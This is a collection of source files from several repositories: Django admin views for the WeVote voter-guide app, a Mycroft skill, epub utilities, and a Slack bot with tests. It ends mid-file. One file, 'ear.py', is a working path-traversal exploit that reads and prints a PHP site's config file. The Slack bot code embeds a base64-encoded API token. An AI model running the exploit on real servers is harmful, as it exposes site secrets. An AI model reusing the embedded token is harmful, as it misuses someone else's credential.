"?google_civic_election_id=" + str(google_civic_election_id) + "&stance=" + stance + "&statement_text=" + statement_text + "&more_info_url=" + more_info_url + "&candidate_and_measure_not_found=1" ) else: return HttpResponseRedirect( reverse('organization:organization_position_new', args=([organization_id])) + "?google_civic_election_id=" + str(google_civic_election_id) + "&stance=" + stance + "&statement_text=" + statement_text + "&more_info_url=" + more_info_url + "&candidate_and_measure_not_found=1" ) contest_measure_id = 0 elif contest_measure_id: try: contest_measure_on_stage = ContestMeasure.objects.get(id=contest_measure_id) contest_measure_on_stage_found = True contest_measure_we_vote_id = contest_measure_on_stage.we_vote_id google_civic_measure_title = contest_measure_on_stage.google_civic_measure_title state_code = contest_measure_on_stage.state_code except CandidateCampaign.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) except CandidateCampaign.DoesNotExist as e: handle_record_not_found_exception(e, logger=logger) if not contest_measure_on_stage_found: messages.add_message( request, messages.ERROR, "Could not find measure when trying to create or edit a new position.") if positive_value_exists(position_we_vote_id): return HttpResponseRedirect( reverse('organization:organization_position_edit', args=([organization_id], [position_we_vote_id])) + "?google_civic_election_id=" + str(google_civic_election_id) + "&stance=" + stance + "&statement_text=" + statement_text + "&more_info_url=" + more_info_url + "&candidate_and_measure_not_found=1" ) else: return HttpResponseRedirect( reverse('organization:organization_position_new', args=([organization_id])) + "?google_civic_election_id=" + str(google_civic_election_id) + "&stance=" + stance + "&statement_text=" + statement_text + "&more_info_url=" + more_info_url + "&candidate_and_measure_not_found=1" ) candidate_campaign_id = 0 else: messages.add_message( request, messages.ERROR, "Unable to find either Candidate or Measure.") return HttpResponseRedirect( reverse('organization:organization_position_new', args=([organization_id])) + "?google_civic_election_id=" + str(google_civic_election_id) + "&stance=" + stance + "&statement_text=" + statement_text + "&more_info_url=" + more_info_url + "&candidate_and_measure_not_found=1" ) organization_position_on_stage_found = False # Retrieve position from position_we_vote_id if it exists already if positive_value_exists(position_we_vote_id): results = position_entered_manager.retrieve_position_from_we_vote_id(position_we_vote_id) if results['position_found']: organization_position_on_stage_found = True organization_position_on_stage = results['position'] organization_position_found_from_new_form = False if not organization_position_on_stage_found: # Position not found from position_we_vote_id # If a position_we_vote_id hasn't been passed in, then we are trying to create a new position. # Check to make sure a position for this org, candidate and election doesn't already exist if candidate_campaign_id: results = position_entered_manager.retrieve_organization_candidate_campaign_position( organization_id, candidate_campaign_id, google_civic_election_id) elif contest_measure_id: results = position_entered_manager.retrieve_organization_contest_measure_position( organization_id, contest_measure_id, google_civic_election_id) else: messages.add_message( request, messages.ERROR, "Missing both candidate_campaign_id and contest_measure_id.") return HttpResponseRedirect( reverse('organization:organization_position_list', args=([organization_id])) ) if results['MultipleObjectsReturned']: messages.add_message( request, messages.ERROR, "We found more than one existing positions for this candidate. Please delete all but one position.") return HttpResponseRedirect( reverse('organization:organization_position_list', args=([organization_id])) ) elif results['position_found']: organization_position_on_stage_found = True organization_position_on_stage = results['position'] organization_position_found_from_new_form = True # Now save existing, or create new success = False try: if organization_position_on_stage_found: # Update the position organization_position_on_stage.stance = stance organization_position_on_stage.google_civic_election_id = google_civic_election_id if not organization_position_found_from_new_form or positive_value_exists(more_info_url): # Only update this if we came from update form, or there is a value in the incoming variable organization_position_on_stage.more_info_url = more_info_url if not organization_position_found_from_new_form or positive_value_exists(statement_text): # Only update this if we came from update form, or there is a value in the incoming variable organization_position_on_stage.statement_text = statement_text if not positive_value_exists(organization_position_on_stage.organization_we_vote_id): organization_position_on_stage.organization_we_vote_id = organization_on_stage.we_vote_id organization_position_on_stage.candidate_campaign_id = candidate_campaign_id organization_position_on_stage.candidate_campaign_we_vote_id = candidate_campaign_we_vote_id organization_position_on_stage.google_civic_candidate_name = google_civic_candidate_name organization_position_on_stage.contest_measure_id = contest_measure_id organization_position_on_stage.contest_measure_we_vote_id = contest_measure_we_vote_id organization_position_on_stage.google_civic_measure_title = google_civic_measure_title organization_position_on_stage.state_code = state_code organization_position_on_stage.save() organization_position_on_stage = position_entered_manager.refresh_cached_position_info( organization_position_on_stage) success = True if positive_value_exists(candidate_campaign_we_vote_id): messages.add_message( request, messages.INFO, "Position on {candidate_name} updated.".format( candidate_name=candidate_campaign_on_stage.display_candidate_name())) elif positive_value_exists(contest_measure_we_vote_id): messages.add_message( request, messages.INFO, "Position on {measure_title} updated.".format( measure_title=contest_measure_on_stage.measure_title)) else: # Create new # Note that since we are processing a volunteer/admin entry tool, we can always save to the PositionEntered # table, and don't need to worry about PositionForFriends organization_position_on_stage = PositionEntered( organization_id=organization_id, organization_we_vote_id=organization_we_vote_id, candidate_campaign_id=candidate_campaign_id, candidate_campaign_we_vote_id=candidate_campaign_we_vote_id, google_civic_candidate_name=google_civic_candidate_name, contest_measure_id=contest_measure_id, contest_measure_we_vote_id=contest_measure_we_vote_id, google_civic_measure_title=google_civic_measure_title, google_civic_election_id=google_civic_election_id, stance=stance, statement_text=statement_text, more_info_url=more_info_url, state_code=state_code, ) organization_position_on_stage.save() organization_position_on_stage = position_entered_manager.refresh_cached_position_info( organization_position_on_stage) success = True if positive_value_exists(candidate_campaign_we_vote_id): messages.add_message( request, messages.INFO, "New position on {candidate_name} saved.".format( candidate_name=candidate_campaign_on_stage.display_candidate_name())) elif positive_value_exists(contest_measure_we_vote_id): messages.add_message( request, messages.INFO, "New position on {measure_title} saved.".format( measure_title=contest_measure_on_stage.measure_title)) go_back_to_add_new = True except Exception as e: pass # If the position was saved, then update the voter_guide entry if success: voter_guide_manager = VoterGuideManager() results = voter_guide_manager.update_or_create_organization_voter_guide_by_election_id( organization_on_stage.we_vote_id, google_civic_election_id) # if results['success']: if go_back_to_add_new: return HttpResponseRedirect( reverse('organization:organization_position_new', args=(organization_on_stage.id,)) + "?google_civic_election_id=" + str(google_civic_election_id)) else: return HttpResponseRedirect( reverse('organization:organization_position_list', args=(organization_on_stage.id,))) ``` #### File: WeVoteServer/voter_guide/views_admin.py ```python from .controllers import voter_guides_import_from_master_server from .models import VoterGuide, VoterGuideListManager, VoterGuideManager from .serializers import VoterGuideSerializer from admin_tools.views import redirect_to_sign_in_page from django.contrib.auth.decorators import login_required from django.contrib import messages from django.core.urlresolvers import reverse from django.contrib.messages import get_messages from django.http import HttpResponseRedirect from django.shortcuts import render from election.models import Election, ElectionManager, TIME_SPAN_LIST from organization.models import Organization, OrganizationListManager from organization.views_admin import organization_edit_process_view from position.models import PositionEntered, PositionForFriends, PositionListManager from rest_framework.views import APIView from rest_framework.response import Response from voter.models import voter_has_authority from wevote_functions.functions import convert_to_int, extract_twitter_handle_from_text_string, positive_value_exists, \ STATE_CODE_MAP # This page does not need to be protected. class VoterGuidesSyncOutView(APIView): def get(self, request, format=None): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) voter_guide_list = VoterGuide.objects.all() if positive_value_exists(google_civic_election_id): voter_guide_list = voter_guide_list.filter(google_civic_election_id=google_civic_election_id) serializer = VoterGuideSerializer(voter_guide_list, many=True) return Response(serializer.data) @login_required def voter_guides_import_from_master_server_view(request): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) state_code = request.GET.get('state_code', '') results = voter_guides_import_from_master_server(request, google_civic_election_id) if not results['success']: messages.add_message(request, messages.ERROR, results['status']) else: messages.add_message(request, messages.INFO, 'Voter Guides import completed. ' 'Saved: {saved}, Updated: {updated}, ' 'Master data not imported (local duplicates found): ' '{duplicates_removed}, ' 'Not processed: {not_processed}' ''.format(saved=results['saved'], updated=results['updated'], duplicates_removed=results['duplicates_removed'], not_processed=results['not_processed'])) return HttpResponseRedirect(reverse('admin_tools:sync_dashboard', args=()) + "?google_civic_election_id=" + str(google_civic_election_id) + "&state_code=" + str(state_code)) @login_required def generate_voter_guides_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) voter_guide_stored_for_this_organization = [] # voter_guide_stored_for_this_public_figure = [] # voter_guide_stored_for_this_voter = [] voter_guide_created_count = 0 voter_guide_updated_count = 0 # What elections do we want to generate voter_guides for? election_list = Election.objects.all() # Cycle through organizations organization_list = Organization.objects.all() for organization in organization_list: # Cycle through elections. Find out position count for this org for each election. # If > 0, then create a voter_guide entry if organization.id not in voter_guide_stored_for_this_organization: for election in election_list: # organization hasn't had voter guides stored yet. # Search for positions with this organization_id and google_civic_election_id google_civic_election_id = int(election.google_civic_election_id) # Convert VarChar to Integer positions_count = PositionEntered.objects.filter( organization_id=organization.id, google_civic_election_id=google_civic_election_id).count() if positions_count > 0: voter_guide_manager = VoterGuideManager() results = voter_guide_manager.update_or_create_organization_voter_guide_by_election_id( organization.we_vote_id, election.google_civic_election_id) if results['success']: if results['new_voter_guide_created']: voter_guide_created_count += 1 else: voter_guide_updated_count += 1 for time_span in TIME_SPAN_LIST: # organization hasn't had voter guides stored yet. # Search for positions with this organization_id and time_span positions_count = PositionEntered.objects.filter( organization_id=organization.id, vote_smart_time_span=time_span).count() if positions_count > 0: voter_guide_manager = VoterGuideManager() results = voter_guide_manager.update_or_create_organization_voter_guide_by_time_span( organization.we_vote_id, time_span) if results['success']: if results['new_voter_guide_created']: voter_guide_created_count += 1 else: voter_guide_updated_count += 1 voter_guide_stored_for_this_organization.append(organization.id) # Cycle through public figures # voter_guide_manager = VoterGuideManager() # voter_guide_manager.update_or_create_public_figure_voter_guide(1234, 'wv02') # Cycle through voters # voter_guide_manager = VoterGuideManager() # voter_guide_manager.update_or_create_voter_voter_guide(1234, 'wv03') messages.add_message(request, messages.INFO, '{voter_guide_created_count} voter guides created, ' '{voter_guide_updated_count} updated.'.format( voter_guide_created_count=voter_guide_created_count, voter_guide_updated_count=voter_guide_updated_count, )) return HttpResponseRedirect(reverse('voter_guide:voter_guide_list', args=())) @login_required def generate_voter_guides_for_one_election_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) if not positive_value_exists(google_civic_election_id): messages.add_message(request, messages.ERROR, 'Cannot generate voter guides for one election: google_civic_election_id missing') return HttpResponseRedirect(reverse('voter_guide:voter_guide_list', args=())) voter_guide_stored_for_this_organization = [] # voter_guide_stored_for_this_public_figure = [] # voter_guide_stored_for_this_voter = [] voter_guide_created_count = 0 voter_guide_updated_count = 0 # What elections do we want to generate voter_guides for? election_list = Election.objects.all() # Cycle through organizations organization_list = Organization.objects.all() for organization in organization_list: # Cycle through elections. Find out position count for this org for each election. # If > 0, then create a voter_guide entry if organization.id not in voter_guide_stored_for_this_organization: # organization hasn't had voter guides stored yet in this run through. # Search for positions with this organization_id and google_civic_election_id positions_count = PositionEntered.objects.filter( organization_id=organization.id, google_civic_election_id=google_civic_election_id).count() if positions_count > 0: voter_guide_manager = VoterGuideManager() results = voter_guide_manager.update_or_create_organization_voter_guide_by_election_id( organization.we_vote_id, google_civic_election_id) if results['success']: if results['new_voter_guide_created']: voter_guide_created_count += 1 else: voter_guide_updated_count += 1 for time_span in TIME_SPAN_LIST: # organization hasn't had voter guides stored yet. # Search for positions with this organization_id and time_span positions_count = PositionEntered.objects.filter( organization_id=organization.id, vote_smart_time_span=time_span).count() if positions_count > 0: voter_guide_manager = VoterGuideManager() results = voter_guide_manager.update_or_create_organization_voter_guide_by_time_span( organization.we_vote_id, time_span) if results['success']: if results['new_voter_guide_created']: voter_guide_created_count += 1 else: voter_guide_updated_count += 1 voter_guide_stored_for_this_organization.append(organization.id) # Cycle through public figures # voter_guide_manager = VoterGuideManager() # voter_guide_manager.update_or_create_public_figure_voter_guide(1234, 'wv02') # Cycle through voters # voter_guide_manager = VoterGuideManager() # voter_guide_manager.update_or_create_voter_voter_guide(1234, 'wv03') messages.add_message(request, messages.INFO, '{voter_guide_created_count} voter guides created, ' '{voter_guide_updated_count} updated.'.format( voter_guide_created_count=voter_guide_created_count, voter_guide_updated_count=voter_guide_updated_count, )) return HttpResponseRedirect(reverse('voter_guide:voter_guide_list', args=())) @login_required def refresh_existing_voter_guides_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) voter_guide_updated_count = 0 # Cycle through existing voter_guides voter_guide_list_manager = VoterGuideListManager() voter_guide_manager = VoterGuideManager() results = voter_guide_list_manager.retrieve_all_voter_guides() if results['voter_guide_list_found']: voter_guide_list = results['voter_guide_list'] for voter_guide in voter_guide_list: if positive_value_exists(voter_guide.organization_we_vote_id): if positive_value_exists(voter_guide.google_civic_election_id): results = voter_guide_manager.update_or_create_organization_voter_guide_by_election_id( voter_guide.organization_we_vote_id, voter_guide.google_civic_election_id) if results['success']: voter_guide_updated_count += 1 elif positive_value_exists(voter_guide.vote_smart_time_span): results = voter_guide_manager.update_or_create_organization_voter_guide_by_time_span( voter_guide.organization_we_vote_id, voter_guide.vote_smart_time_span) if results['success']: voter_guide_updated_count += 1 messages.add_message(request, messages.INFO, '{voter_guide_updated_count} updated.'.format( voter_guide_updated_count=voter_guide_updated_count, )) return HttpResponseRedirect(reverse('voter_guide:voter_guide_list', args=())) @login_required def voter_guide_list_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) voter_guide_list = [] voter_guide_list_object = VoterGuideListManager() if positive_value_exists(google_civic_election_id): results = voter_guide_list_object.retrieve_voter_guides_for_election( google_civic_election_id=google_civic_election_id) if results['success']: voter_guide_list = results['voter_guide_list'] else: order_by = "google_civic_election_id" results = voter_guide_list_object.retrieve_all_voter_guides(order_by) if results['success']: voter_guide_list = results['voter_guide_list'] modified_voter_guide_list = [] position_list_manager = PositionListManager() for one_voter_guide in voter_guide_list: # How many Publicly visible positions are there in this election on this voter guide? retrieve_public_positions = True one_voter_guide.number_of_public_positions = position_list_manager.fetch_positions_count_for_voter_guide( one_voter_guide.organization_we_vote_id, one_voter_guide.google_civic_election_id, retrieve_public_positions) # How many Friends-only visible positions are there in this election on this voter guide? retrieve_public_positions = False one_voter_guide.number_of_friends_only_positions = position_list_manager.fetch_positions_count_for_voter_guide( one_voter_guide.organization_we_vote_id, one_voter_guide.google_civic_election_id, retrieve_public_positions) modified_voter_guide_list.append(one_voter_guide) election_list = Election.objects.order_by('-election_day_text') messages_on_stage = get_messages(request) template_values = { 'election_list': election_list, 'google_civic_election_id': google_civic_election_id, 'messages_on_stage': messages_on_stage, 'voter_guide_list': modified_voter_guide_list, } return render(request, 'voter_guide/voter_guide_list.html', template_values) @login_required def voter_guide_search_view(request): """ Before creating a voter guide, search for an existing organization :param request: :return: """ authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) # A positive value in google_civic_election_id means we want to create a voter guide for this org for this election google_civic_election_id = request.GET.get('google_civic_election_id', 0) messages_on_stage = get_messages(request) election_manager = ElectionManager() upcoming_election_list = [] results = election_manager.retrieve_upcoming_elections() if results['success']: upcoming_election_list = results['election_list'] state_list = STATE_CODE_MAP sorted_state_list = sorted(state_list.items()) template_values = { 'messages_on_stage': messages_on_stage, 'upcoming_election_list': upcoming_election_list, 'google_civic_election_id': google_civic_election_id, 'state_list': sorted_state_list, } return render(request, 'voter_guide/voter_guide_search.html', template_values) @login_required def voter_guide_search_process_view(request): """ Process the new or edit organization forms :param request: :return: """ authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) add_organization_button = request.POST.get('add_organization_button', False) if add_organization_button: return organization_edit_process_view(request) organization_name = request.POST.get('organization_name', '') organization_twitter_handle = request.POST.get('organization_twitter_handle', '') organization_facebook = request.POST.get('organization_facebook', '') organization_website = request.POST.get('organization_website', '') # state_served_code = request.POST.get('state_served_code', False) # Save this variable so we have it on the "Add New Position" page google_civic_election_id = request.POST.get('google_civic_election_id', 0) # Filter incoming data organization_twitter_handle = extract_twitter_handle_from_text_string(organization_twitter_handle) # Search for organizations that match organization_email = '' organization_list_manager = OrganizationListManager() results = organization_list_manager.organization_search_find_any_possibilities( organization_name, organization_twitter_handle, organization_website, organization_email, organization_facebook) if results['organizations_found']: organizations_list = results['organizations_list'] organizations_count = len(organizations_list) messages.add_message(request, messages.INFO, 'We found {count} existing organization(s) ' 'that might match.'.format(count=organizations_count)) else: organizations_list = [] messages.add_message(request, messages.INFO, 'No voter guides found with those search terms. ' 'Please try again. ') election_manager = ElectionManager() upcoming_election_list = [] results = election_manager.retrieve_upcoming_elections() if results['success']: upcoming_election_list = results['election_list'] messages_on_stage = get_messages(request) template_values = { 'messages_on_stage': messages_on_stage, 'organizations_list': organizations_list, 'organization_name': organization_name, 'organization_twitter_handle': organization_twitter_handle, 'organization_facebook': organization_facebook, 'organization_website': organization_website, 'upcoming_election_list': upcoming_election_list, 'google_civic_election_id': google_civic_election_id, } return render(request, 'voter_guide/voter_guide_search.html', template_values) ```
{ "source": "josephflowers-ra/cinder-skill", "score": 2 }
#### File: josephflowers-ra/cinder-skill/__init__.py ```python from mycroft import MycroftSkill, intent_file_handler class Cinder(MycroftSkill): def __init__(self): MycroftSkill.__init__(self) @intent_file_handler('cinder.intent') def handle_cinder(self, message): self.speak_dialog('cinder') def create_skill(): return Cinder() ```
{ "source": "joseph-fuzzing/butian", "score": 2 }
#### File: joseph-fuzzing/butian/ear.py ```python import requests import re import time def checkbug(): burp0_url = url+"/source/pack/mobileconfig/ajax.php" burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} urlcode=requests.get(burp0_url, headers=burp0_headers).status_code return urlcode def Get_order(): burp0_url = url+"/source/pack/alipay/pay.php?rmb=1000" burp0_cookies = {"PHPSESSID": "pc079g7m6inb1ukh4h9t1om9e3", "in_userid": in_userid, "in_username": in_username, "in_userpassword": in_userpassword} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} order_html=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text Reorder=re.compile(r'name=\'out_trade_no\' value=\'(.*?)\'') return Reorder.findall(order_html)[0] def Get_date(out_trade_no): burp0_url = url+"/source/pack/alipay/pay_notify.php" burp0_cookies = {"PHPSESSID": "pc079g7m6inb1ukh4h9t1om9e3", "in_userid": in_userid, "in_username": in_username, "in_userpassword": in_userpassword} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} burp0_data = {"out_trade_no": out_trade_no} Get_header=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).headers Date=int(time.mktime(time.strptime(Get_header['Date'],"%a, %d %b %Y %H:%M:%S GMT"))) return Date def readfile(userid,Date): burp0_url = url+"/source/pack/mobileconfig/ajax.php?ac=mobileconfig&aicon=../../../source/system/config.inc.php" burp0_cookies = {"PHPSESSID": "pc079g7m6inb1ukh4h9t1om9e3", "in_userid": in_userid, "in_username": in_username, "in_userpassword": in_userpassword} burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh,en;q=0.9,zh-CN;q=0.8", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} #burp0_data = {"out_trade_no": userid+"-"+str(Date)} fileDate_html=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text return fileDate_html def main(): global in_userpassword,in_userid,in_username,url in_userid="2" in_username="<EMAIL>" in_userpassword="<PASSWORD>" url=raw_input('readfile url:') if checkbug()==200: out_trade_no=Get_order() Date=Get_date(out_trade_no) fileDate_html=readfile(in_userid,Date) if(len(fileDate_html)>6): print(fileDate_html) exit(); main() if __name__ == '__main__': main() ```
{ "source": "JosephGAdams/FanFictionSuite", "score": 3 }
#### File: FanFictionSuite/classes/folder_structure.py ```python import os import os.path class folder_structure: def make_directory(self, location, dir_name): folder_location = os.path.join(location, dir_name) try: os.mkdir(folder_location, 0777) except Exception as e: print e return folder_location def make_structure(self, location): epub_folder = self.make_directory(location, 'epub_folder') meta_inf_folder = self.make_directory(epub_folder, 'META-INF') oebps_folder = self.make_directory(epub_folder, 'OEBPS') paths = { 'epub_folder_location': epub_folder, 'meta-inf_folder_location': meta_inf_folder, 'oebps_folder_location': oebps_folder, } return paths ``` #### File: FanFictionSuite/classes/general_utils.py ```python import wx error_messages = {'2': 'File not found'} class utils: def error_alert_box(self, message): wx.MessageBox('{message}\nStory listing will be removed, re-add manually.'.format(message=message), 'Error', wx.OK | wx.ICON_ERROR) ``` #### File: FanFictionSuite/classes/move_book_content.py ```python import shutil import os import os.path class move_content: def move_files(self, files, location, content_loc): for each in files['file_location']: file_loc = os.path.join(os.path.abspath(each)) name = os.path.basename(file_loc) src = file_loc dst = os.path.join(content_loc, name) shutil.copyfile(src, dst) ```
{ "source": "josephgalestian/taichiV2-master", "score": 2 }
#### File: benchmarks/microbenchmarks/memcpy.py ```python from microbenchmarks._items import BenchmarkItem, Container, DataSize, DataType from microbenchmarks._metric import MetricType from microbenchmarks._plan import BenchmarkPlan from microbenchmarks._utils import dtype_size, fill_random, scaled_repeat_times import taichi as ti def memcpy_default(arch, repeat, container, dtype, dsize, get_metric): @ti.kernel def memcpy_field(dst: ti.template(), src: ti.template()): for I in ti.grouped(dst): dst[I] = src[I] @ti.kernel def memcpy_array(dst: ti.any_arr(), src: ti.any_arr()): for I in ti.grouped(dst): dst[I] = src[I] repeat = scaled_repeat_times(arch, dsize, repeat) num_elements = dsize // dtype_size(dtype) x = container(dtype, num_elements) y = container(dtype, num_elements) func = memcpy_field if container == ti.field else memcpy_array fill_random(x, dtype, container) return get_metric(repeat, func, y, x) class MemcpyPlan(BenchmarkPlan): def __init__(self, arch: str): super().__init__('memcpy', arch, basic_repeat_times=10) self.create_plan(Container(), DataType(), DataSize(), MetricType()) self.add_func(['field'], memcpy_default) self.add_func(['ndarray'], memcpy_default) ```
{ "source": "JosephGarrone/uqcsbot-1", "score": 2 }
#### File: uqcsbot-1/test/test_water.py ```python from test.conftest import MockUQCSBot, TEST_CHANNEL_ID import re def test_water_valid_message(uqcsbot: MockUQCSBot): """ Test !water <REGION> returns a reading """ uqcsbot.post_message(TEST_CHANNEL_ID, '!water SEQ') messages = uqcsbot.test_messages.get(TEST_CHANNEL_ID, []) assert len(messages) == 2 assert re.compile(r"(?:.*) is at \*\d+\.\d+\%\* \((?:.*?)ML of (?:.*?)ML\)").match(messages[-1]['text']) def test_water_invalid_region(uqcsbot: MockUQCSBot): """ Test !water <INVALID_REGION> returns a warning """ uqcsbot.post_message(TEST_CHANNEL_ID, '!water abcdefghijklmnopqrstuvwxyz') messages = uqcsbot.test_messages.get(TEST_CHANNEL_ID, []) assert len(messages) == 2 assert re.compile(r"No region or alias found matching '(?:.*?)'").match(messages[-1]['text']) def test_water_list(uqcsbot: MockUQCSBot): """ Test !water <LIST> returns a listing """ uqcsbot.post_message(TEST_CHANNEL_ID, '!water list') messages = uqcsbot.test_messages.get(TEST_CHANNEL_ID, []) assert len(messages) == 2 assert re.compile(r"Available regions:(.*)").match(messages[-1]['text']) ``` #### File: uqcsbot-1/uqcsbot/__init__.py ```python import os import sys import importlib import logging import argparse from base64 import b64decode import json import requests from uqcsbot.base import bot, Command, UQCSBot # noqa LOGGER = logging.getLogger("uqcsbot") SLACK_VERIFICATION_TOKEN = os.environ.get("SLACK_VERIFICATION_TOKEN", "") SLACK_BOT_TOKEN = os.environ.get("SLACK_BOT_TOKEN", "") # Channel group which contains all the bots. Easy way to get all their ids. SECRET_BOT_MEETING_ROOM = 'G9JJXHF7S' # UQCSTesting tokens. Everything is base64 encoded to # somewhat circumvent token tracking by GitHub etal. # # Order: uqcsbot-alpha, uqcsbot-beta, uqcsbot-gamma, uqcsbot-delta BOT_TOKENS = {'<KEY>': '<KEY>', '<KEY>': '<KEY>', '<KEY>': '<KEY>', '<KEY>': '<KEY>'} for key in BOT_TOKENS: BOT_TOKENS[key] = b64decode(BOT_TOKENS[key]).decode('utf-8') # Mitch's UQCSTesting Slack API Token. No touchie >:( UQCSTESTING_USER_TOKEN = b64decode('<KEY>NTI5LTMyNTEyMzU5ODExNS01Yj' 'dmYjlhYzAyZWYzNDAyNTYyMTJmY2Q2YjQ1NmEyYg==').decode('utf-8') def get_user_info(user_id): """ Returns info about a user See https://api.slack.com/methods/users.info for the contents of info """ api_url = 'https://slack.com/api/users.info' response = requests.get(api_url, params={'token': UQCSTESTING_USER_TOKEN, 'user': user_id}) if response.status_code != requests.codes['ok']: LOGGER.error(f'Received status code {response.status.code}') sys.exit(1) json_contents = json.loads(response.content) if not json_contents['ok']: LOGGER.error(json_contents['error']) sys.exit(1) return json_contents def is_active_bot(user_info): """ Returns true if the provided user info describes an active bot (i.e. not deleted) """ if not user_info['ok']: return False user = user_info['user'] return user.get('is_bot', False) and not user['deleted'] def is_bot_avaliable(user_id): """ Returns true if the given user_id is an active bot that is available (i.e. is not currently 'active' which would mean it is in use by another user). """ api_url = 'https://slack.com/api/users.getPresence' response = requests.get(api_url, params={'token': UQCSTESTING_USER_TOKEN, 'user': user_id}) if response.status_code != requests.codes['ok']: return False json_contents = json.loads(response.content) return json_contents['ok'] and json_contents['presence'] == 'away' def get_free_test_bot(): """ Pings a channel on the UQCSTesting Slack that contains all the available bots, and Mitch. We can poll this channel to find bots which are 'away' (that is, not currently being used by anyone else) Returns info about the bot See https://api.slack.com/methods/users.info for the contents of info """ api_url = 'https://slack.com/api/conversations.members' response = requests.get(api_url, params={'token': UQCSTESTING_USER_TOKEN, 'channel': SECRET_BOT_MEETING_ROOM}) if response.status_code != requests.codes['ok']: LOGGER.error(f'Received status code {response.status.code}') sys.exit(1) json_contents = json.loads(response.content) if not json_contents['ok']: LOGGER.error(json_contents['error']) sys.exit(1) for user_id in json_contents['members']: info = get_user_info(user_id) if is_active_bot(info) and is_bot_avaliable(user_id): return info return None def import_scripts(): dir_path = os.path.dirname(__file__) scripts_dir = os.path.join(dir_path, 'scripts') for sub_file in os.listdir(scripts_dir): if not sub_file.endswith('.py') or sub_file == '__init__.py': continue module = f'uqcsbot.scripts.{sub_file[:-3]}' importlib.import_module(module) def main(): # Import scripts import_scripts() # Setup the CLI argument parser parser = argparse.ArgumentParser(description='Run UQCSBot') parser.add_argument('--dev', dest='dev', action='store_true', help='Runs the bot in development mode (auto assigns a ' 'bot on the uqcstesting Slack team)') parser.add_argument('--log_level', dest='log_level', default='INFO', help='Specifies the output logging level to be used ' '(i.e. DEBUG, INFO, WARNING, ERROR, CRITICAL)') # Retrieve the CLI args args = parser.parse_args() logging.basicConfig(level=args.log_level) # If in development mode, attempt to allocate an available bot token, # else stick with the default. If no bot could be allocated, exit. bot_token = SLACK_BOT_TOKEN if args.dev: test_bot = get_free_test_bot() if test_bot is None: LOGGER.error('Something went wrong during bot allocation. Please ensure there' ' are bots available and try again later. Exiting.') sys.exit(1) bot_token = BOT_TOKENS.get(test_bot['user']['id'], None) LOGGER.info("Bot name: " + test_bot['user']['name']) if bot_token is None or bot_token == "": LOGGER.error("No bot token found!") sys.exit(1) bot.run(bot_token, SLACK_VERIFICATION_TOKEN) if __name__ == "__main__": main() ``` #### File: uqcsbot/scripts/emojify.py ```python from uqcsbot import bot, Command from uqcsbot.utils.command_utils import loading_status from typing import Dict, List from collections import defaultdict from random import shuffle, choice @bot.on_command("emojify") @loading_status def handle_emojify(command: Command): ''' `!emojify text` - converts text to emoji. ''' master: Dict[str, List[str]] = defaultdict(lambda: [":grey_question:"]) # letters master['A'] = [":adobe:", ":airbnb:", ":amazon:", ":anarchism:", ":arch:", ":atlassian:", ":office_access:", choice([":card-ace-clubs:", ":card-ace-diamonds:", ":card-ace-hearts:", ":card-ace-spades:"])] master['B'] = [":bhinking:", ":bitcoin:", ":blutes:"] master['C'] = [":c:", ":clang:", ":cplusplus:", ":copyright:", ":clipchamp:"] master['D'] = [":d:", ":disney:"] master['E'] = [":ecorp:", ":emacs:", ":erlang:", ":ie10:", ":thonk_slow:", ":edge:", ":expedia_group:"] master['F'] = [":f:", 